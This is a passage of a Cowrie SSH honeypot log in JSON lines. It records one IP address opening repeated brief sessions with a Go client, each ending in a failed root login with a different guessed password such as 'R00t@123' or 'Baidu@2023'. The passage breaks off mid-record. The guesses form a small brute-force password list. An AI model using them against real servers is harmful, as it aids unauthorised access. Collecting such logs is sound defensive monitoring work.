{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:42.070286Z","src_ip":"60.165.124.241","session":"40f91136fd7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:42.321477Z","src_ip":"60.165.124.241","session":"40f91136fd7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:43.079367Z","src_ip":"60.165.124.241","session":"40f91136fd7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:44.336709Z","src_ip":"60.165.124.241","session":"40f91136fd7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50128,"dst_ip":"10.17.0.5","dst_port":22,"session":"509ee76082b0","protocol":"ssh","message":"New connection: 60.165.124.241:50128 (10.17.0.5:22) [session: 509ee76082b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:44.602851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:44.607944Z","src_ip":"60.165.124.241","session":"509ee76082b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:44.868122Z","src_ip":"60.165.124.241","session":"509ee76082b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fibranne","message":"login attempt [root/fibranne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:45.654466Z","src_ip":"60.165.124.241","session":"509ee76082b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:47.554213Z","src_ip":"60.165.124.241","session":"509ee76082b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54498,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae0284aa5c1b","protocol":"ssh","message":"New connection: 60.165.124.241:54498 (10.17.0.5:22) [session: ae0284aa5c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:47.792653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:47.796613Z","src_ip":"60.165.124.241","session":"ae0284aa5c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:48.047088Z","src_ip":"60.165.124.241","session":"ae0284aa5c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"R00t@123","message":"login attempt [root/R00t@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:51.769988Z","src_ip":"60.165.124.241","session":"ae0284aa5c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:53.010190Z","src_ip":"60.165.124.241","session":"ae0284aa5c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32896,"dst_ip":"10.17.0.5","dst_port":22,"session":"90c592f8c63f","protocol":"ssh","message":"New connection: 60.165.124.241:32896 (10.17.0.5:22) [session: 90c592f8c63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:53.246795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:53.251745Z","src_ip":"60.165.124.241","session":"90c592f8c63f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:53.489275Z","src_ip":"60.165.124.241","session":"90c592f8c63f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rzx!@!*","message":"login attempt [root/rzx!@!*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:54.212539Z","src_ip":"60.165.124.241","session":"90c592f8c63f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:55.453799Z","src_ip":"60.165.124.241","session":"90c592f8c63f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35990,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff99e6907f4a","protocol":"ssh","message":"New connection: 60.165.124.241:35990 (10.17.0.5:22) [session: ff99e6907f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:55.687405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:55.692519Z","src_ip":"60.165.124.241","session":"ff99e6907f4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:55.931899Z","src_ip":"60.165.124.241","session":"ff99e6907f4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfgh!@#$1234","message":"login attempt [root/dfgh!@#$1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:56.651528Z","src_ip":"60.165.124.241","session":"ff99e6907f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:57.892770Z","src_ip":"60.165.124.241","session":"ff99e6907f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39034,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c3761db42e9","protocol":"ssh","message":"New connection: 60.165.124.241:39034 (10.17.0.5:22) [session: 3c3761db42e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:58.127484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:58.132775Z","src_ip":"60.165.124.241","session":"3c3761db42e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:58.376405Z","src_ip":"60.165.124.241","session":"3c3761db42e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Master2023","message":"login attempt [root/Master2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:59.099378Z","src_ip":"60.165.124.241","session":"3c3761db42e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:00.342452Z","src_ip":"60.165.124.241","session":"3c3761db42e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42570,"dst_ip":"10.17.0.5","dst_port":22,"session":"db1b8c3d9c8a","protocol":"ssh","message":"New connection: 60.165.124.241:42570 (10.17.0.5:22) [session: db1b8c3d9c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:00.580343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:00.586058Z","src_ip":"60.165.124.241","session":"db1b8c3d9c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:00.827861Z","src_ip":"60.165.124.241","session":"db1b8c3d9c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin","message":"login attempt [root/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:01.555449Z","src_ip":"60.165.124.241","session":"db1b8c3d9c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:02.800246Z","src_ip":"60.165.124.241","session":"db1b8c3d9c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45636,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d2260ec643f","protocol":"ssh","message":"New connection: 60.165.124.241:45636 (10.17.0.5:22) [session: 0d2260ec643f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:03.036088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:03.041150Z","src_ip":"60.165.124.241","session":"0d2260ec643f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:03.282524Z","src_ip":"60.165.124.241","session":"0d2260ec643f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Baidu@2023","message":"login attempt [root/Baidu@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:04.017882Z","src_ip":"60.165.124.241","session":"0d2260ec643f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:05.263077Z","src_ip":"60.165.124.241","session":"0d2260ec643f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48574,"dst_ip":"10.17.0.5","dst_port":22,"session":"c901602c4ce5","protocol":"ssh","message":"New connection: 60.165.124.241:48574 (10.17.0.5:22) [session: c901602c4ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:05.498670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:05.504736Z","src_ip":"60.165.124.241","session":"c901602c4ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 